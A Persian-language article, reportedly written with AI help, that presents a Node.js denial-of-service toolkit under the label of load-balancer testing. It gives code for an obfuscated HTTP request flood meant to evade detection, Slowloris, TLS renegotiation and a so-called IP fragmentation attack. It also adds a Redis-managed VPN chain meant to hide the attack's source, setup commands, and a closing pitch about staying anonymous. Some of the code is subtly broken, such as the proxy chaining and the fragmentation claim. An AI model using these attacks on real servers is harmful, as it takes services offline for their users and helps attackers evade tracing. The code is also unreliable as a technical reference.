- اگر به درستی و با احتیاط عمل نشود، استفاده از VPNها برای انجام حملات میتواند خطر نشت ترافیک و آسیب به سرورهای دیگر را به همراه داشته باشد و جرم محسوب میگردد
-اجرای کد جهت تست در صورت ست کردن نادرست کانفیگ ممکن است جرم محسوب گردید و هیچ مسولیتی با نویسنده مقاله نیست
- این مقاله صرفا آموزشی است و اجرا کد در محیط غیر آزمایشگاهی توصیه نمیشود
-مقاله با کمک هوش مصنوعی نوشته شده است
-قسمت هایی از مقاله که مربوط به ناشناس کردن حمله بوده است حذف شده است
میدانیم Load Balancer یکی از مهمترین اجزای معماری شبکههای امروزی است که برای توزیع ترافیک و جلوگیری از فشار بر سرورها طراحی شده است. اما به منظور اطمینان از پایداری و کارایی این Load Balancerها، نیاز به تست تحت حملات سنگین و توزیعشده است. در این پروژه، با استفاده از Node.js، حملات چندلایه (Layer 7 و پایینتر)، زنجیره VPNها، و سرورهای موقت ابری، به شما کمک میکنیم که Load Balancer خود را به صورت حرفهای و بسیار قدرتمند تست کنید.
1. Node.js:
زبان اصلی برای پیادهسازی حملات با استفاده از Cluster برای پردازش موازی.
2. Redis:
برای مدیریت لیست VPNها و توزیع درخواستها.
3. VPN:
برای تغییر مداوم IP و ناشناس ماندن.
4. Docker و Kubernetes:
برای مدیریت سرورها و مقیاسپذیری سریعتر (اختیاری).
پروژه شامل چندین ماژول حمله است که به صورت موازی اجرا میشوند. هر ماژول یک تکنیک حمله را پیادهسازی میکند.
1. Obfuscation Requests (لایه 7 - Layer 7)
توضیح: این حمله درخواستهای پیچیده و مبهم را با پارامترهای تصادفی و هدرهای مختلف ارسال میکند تا سیستمهای دفاعی سرور نتوانند الگوی حمله را به راحتی تشخیص دهند.
async function torObfuscationAttack(vpnList) {
const vpnAgents = createVPNChain(vpnList);
const chainAgent = new HttpsProxyAgent(vpnAgents);
const randomHeaders = {
'User-Agent': faker.internet.userAgent(),
'Cookie': faker.random.uuid(),
'X-Custom-Header': faker.hacker.phrase()
};
try {
const response = await axios.get('http://target-loadbalancer.com', {
httpsAgent: chainAgent,
headers: randomHeaders
});
console.log(`Obfuscation Response: ${response.status}`);
} catch (error) {
console.log(`Error: ${error.message}`);
}
}
2. Slowloris Attack (حمله Low and Slow)
توضیح: این حمله با نگه داشتن ارتباط طولانی با سرور و ارسال دادههای بسیار کند، منابع سرور را قفل کرده و از پاسخدهی به درخواستهای جدید جلوگیری میکند.
function slowlorisAttack(host, port, vpnList) {
const vpnAgents = createVPNChain(vpnList);
const chainAgent = new HttpsProxyAgent(vpnAgents);
const socket = net.connect({ host: host, port: port, agent: chainAgent }, () => {
console.log('Slowloris Connection established');
socket.write('GET / HTTP/1.1\r\n');
socket.write('Host: ' + host + '\r\n');
setTimeout(() => {
socket.write('X-a: b\r\n'); // ارسال دادههای کند
}, 10000);
});
socket.on('error', (err) => {
console.log('Slowloris Error: ', err.message);
});
}
3. TLS Renegotiation Attack (حمله رمزنگاری)
توضیح: در این حمله، درخواستهای مکرر برای renegotiation TLS ارسال میشود که باعث مصرف منابع پردازشی سرور میشود.
function tlsRenegotiationAttack(host, port, vpnList) {
const vpnAgents = createVPNChain(vpnList);
const chainAgent = new HttpsProxyAgent(vpnAgents);
const socket = tls.connect({ host: host, port: port, agent: chainAgent }, () => {
console.log('TLS Connection established');
socket.renegotiate({ requestCert: true }, (err) => {
if (err) console.log('TLS Renegotiation Error: ', err);
else console.log('TLS Renegotiation successful');
});
});
socket.on('error', (err) => {
console.log('TLS Error: ', err.message);
});
}
4. IP Fragmentation Attack (حمله لایه شبکه)
توضیح: این حمله با ارسال بسته های تکه تکه شده IP، منابع سرور را مصرف میکند تا بسته ها را دوباره سرهم کند.
function ipFragmentationAttack(host, port, vpnList) {
const vpnAgents = createVPNChain(vpnList);
const chainAgent = new HttpsProxyAgent(vpnAgents);
const socket = net.connect({ host: host, port: port, agent: chainAgent }, () => {
console.log('IP Fragmentation attack started');
const largeData = Buffer.alloc(65535, 'A'); // ارسال داده بزرگ
socket.write(largeData); // ارسال بستههای تکهشده
});
socket.on('error', (err) => {
console.log('IP Fragmentation Error: ', err.message);
});
}
این پروژه از زنجیره VPNها استفاده میکند تا تمامی درخواستها از طریق چندین VPN عبور کنند و از این طریق سرور نتواند منبع واقعی حمله را شناسایی کند.
کد مدیریت زنجیره VPNها:
const redis = require('redis');
const HttpsProxyAgent = require('https-proxy-agent');
// اتصال به Redis
const client = redis.createClient();
// تابع برای دریافت لیست VPNها از صف
function getVPNListFromQueue(callback) {
client.lrange('vpnQueue', 0, -1, (err, vpnList) => {
if (err) {
console.log('Error retrieving VPN list:', err);
return;
}
callback(vpnList);
});
}
// ایجاد زنجیرهای از VPNها
function createVPNChain(vpnList) {
return vpnList.map(vpn => new HttpsProxyAgent(vpn)); // ایجاد زنجیرهای از HttpsProxyAgent ها
}
در این کد، لیست VPNها از صف Redis دریافت میشود و سپس به صورت زنجیرهای به عنوان پراکسی برای حملات استفاده میشوند.
1. نصب Redis و کتابخانههای مورد نیاز:
ابتدا باید Redis و کتابخانههای مورد نیاز را نصب کنید:
npm install redis axios https-proxy-agent faker net tls
2. افزودن VPNها به صف Redis:
از Redis CLI برای اضافه کردن VPNها استفاده کنید:
redis-cli lpush vpnQueue "http://vpn1-server:port"
redis-cli lpush vpnQueue "http://vpn2-server:port"
3.اجرای پروژه:
با اجرای کد، سرور موقت ابری ایجاد شده و حملات از طریق زنجیره VPNها به سرور هدف ارسال میشوند:
node attack.js
این پروژه تست Load Balancer یک ساختار بسیار مقیاسپذیر و قوی برای بررسی قدرت Load Balancer شما ارائه میدهد. استفاده از حملات چندلایه و زنجیره VPNها به شما امکان میدهد تا ناشناس بمانید و به راحتی حملات توزیعشده و سنگین را اجرا کنید. همچنین، استفاده از سرورهای موقت ابری باعث کاهش ردپای دیجیتال و افزایش امنیت شما خواهد شد.